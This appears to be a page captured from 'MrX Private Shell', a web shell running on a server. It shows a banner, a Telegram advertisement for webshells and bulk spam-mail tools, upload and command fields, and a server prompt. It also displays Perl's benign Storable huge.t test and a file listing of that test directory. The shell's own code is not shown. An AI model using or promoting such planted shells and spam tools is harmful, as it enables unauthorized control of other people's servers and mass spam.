����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
#!./perl

use strict;
use warnings;

use Config;
use Storable qw(dclone);
use Test::More;

BEGIN {
    plan skip_all => 'Storable was not built'
        if $ENV{PERL_CORE} && $Config{'extensions'} !~ /\b Storable \b/x;
    plan skip_all => 'Need 64-bit pointers for this test'
        if $Config{ptrsize} < 8 and $] > 5.013;
    plan skip_all => 'Need 64-bit int for this test on older versions'
        if $Config{uvsize} < 8 and $] < 5.013;
    plan skip_all => 'Need ~4 GiB memory for this test, set PERL_TEST_MEMORY > 4'
        if !$ENV{PERL_TEST_MEMORY} || $ENV{PERL_TEST_MEMORY} < 4;
}

# Just too big to fit in an I32.
my $huge = int(2 ** 31);
# v5.24.1c/v5.25.1c switched to die earlier with "Too many elements",
# which is much safer.
my $has_too_many = ($Config{usecperl} and
      (($] >= 5.024001 and $] < 5.025000)
       or $] >= 5.025001)) ? 1 : 0;

# These overlarge sizes are enabled only since Storable 3.00 and some
# cases need cperl support. Perl5 (as of 5.24) has some internal
# problems with >I32 sizes, which only cperl has fixed.
# perl5 is not yet 2GB safe, esp. with hashes.

# string len (xpv_cur): STRLEN (ptrsize>=8)
# array size (xav_max): SSize_t (I32/I64) (ptrsize>=8)
# hash size (xhv_keys):
#    IV            - 5.12   (ivsize>=8)
#    STRLEN  5.14  - 5.24   (size_t: U32/U64)
#    SSize_t 5.22c - 5.24c  (I32/I64)
#    U32     5.25c -
# hash key: I32

my @cases = (
    ['huge string',
     sub { my $s = 'x' x $huge; \$s }],

    ['array with huge element',
     sub { my $s = 'x' x $huge; [$s] }],

    ['hash with huge value',
     sub { my $s = 'x' x $huge; +{ foo => $s } }],

    # There's no huge key, limited to I32.
  ) if $Config{ptrsize} > 4;


# An array with a huge number of elements requires several gigabytes of
# virtual memory. On darwin it is evtl killed.
if ($Config{ptrsize} > 4 and !$has_too_many) {
    # needs 20-55G virtual memory, 4.6M heap and several minutes on a fast machine 
    if ($ENV{PERL_TEST_MEMORY} >= 55) {
        push @cases,
          [ 'huge array',
            sub { my @x; $x[$huge] = undef; \@x } ];
    } else {
        diag "skip huge array, need PERL_TEST_MEMORY >= 55";
    }
}

# A hash with a huge number of keys would require tens of gigabytes of
# memory, which doesn't seem like a good idea even for this test file.
# Unfortunately even older 32bit perls do allow this.
if (!$has_too_many) {
    # needs >90G virtual mem, and is evtl. killed
    if ($ENV{PERL_TEST_MEMORY} >= 96) {
        # number of keys >I32. impossible to handle with perl5, but Storable can.
        push @cases,
          ['huge hash',
           sub { my %x = (0 .. $huge); \%x } ];
    } else {
        diag "skip huge hash, need PERL_TEST_MEMORY >= 96";
    }
}


plan tests => 2 * scalar @cases;

for (@cases) {
    my ($desc, $build) = @$_;
    diag "building test input: $desc";
    my ($input, $exn, $clone);
    diag "these huge subtests need a lot of memory and time!" if $desc eq 'huge array';
    $input = $build->();
    diag "running test: $desc";
    $exn = $@ if !eval { $clone = dclone($input); 1 };

    is($exn, undef, "$desc no exception");
    is_deeply($input, $clone, "$desc cloned");
    #ok($clone, "$desc cloned");

    # Ensure the huge objects are freed right now:
    undef $input;
    undef $clone;
}

Filemanager

Name Type Size Permission Actions
CVE-2015-1592.t File 534 B 0644
HAS_ATTACH.pm File 121 B 0644
HAS_HOOK.pm File 82 B 0644
HAS_OVERLOAD.pm File 185 B 0644
attach.t File 1007 B 0644
attach_errors.t File 6.64 KB 0644
attach_singleton.t File 2.5 KB 0644
blessed.t File 10.52 KB 0644
canonical.t File 3.46 KB 0644
circular_hook.t File 1.98 KB 0644
code.t File 7.29 KB 0644
compat01.t File 1.15 KB 0644
compat06.t File 3.25 KB 0644
croak.t File 949 B 0644
dclone.t File 2.28 KB 0644
destroy.t File 366 B 0644
downgrade.t File 15.76 KB 0644
file_magic.t File 13.23 KB 0644
flags.t File 2.32 KB 0644
forgive.t File 1.52 KB 0644
freeze.t File 2.55 KB 0644
huge.t File 3.22 KB 0644
hugeids.t File 7.61 KB 0644
integer.t File 5.81 KB 0644
interwork56.t File 5.95 KB 0644
just_plain_nasty.t File 4.29 KB 0644
leaks.t File 845 B 0644
lock.t File 1.01 KB 0644
make_56_interwork.pl File 1.45 KB 0644
make_downgrade.pl File 2.09 KB 0644
make_overload.pl File 177 B 0644
malice.t File 10.33 KB 0644
overload.t File 2.08 KB 0644
recurse.t File 7.92 KB 0644
regexp.t File 3.66 KB 0644
restrict.t File 3.49 KB 0644
retrieve.t File 3.02 KB 0644
robust.t File 309 B 0644
sig_die.t File 734 B 0644
st-dump.pl File 3.35 KB 0644
store.t File 3.25 KB 0644
testlib.pl File 863 B 0644
threads.t File 1.93 KB 0644
tied.t File 4.15 KB 0644
tied_hook.t File 4.63 KB 0644
tied_items.t File 1.11 KB 0644
tied_reify.t File 621 B 0644
tied_store.t File 924 B 0644
utf8.t File 1.17 KB 0644
utf8hash.t File 5.31 KB 0644
weak.t File 3.72 KB 0644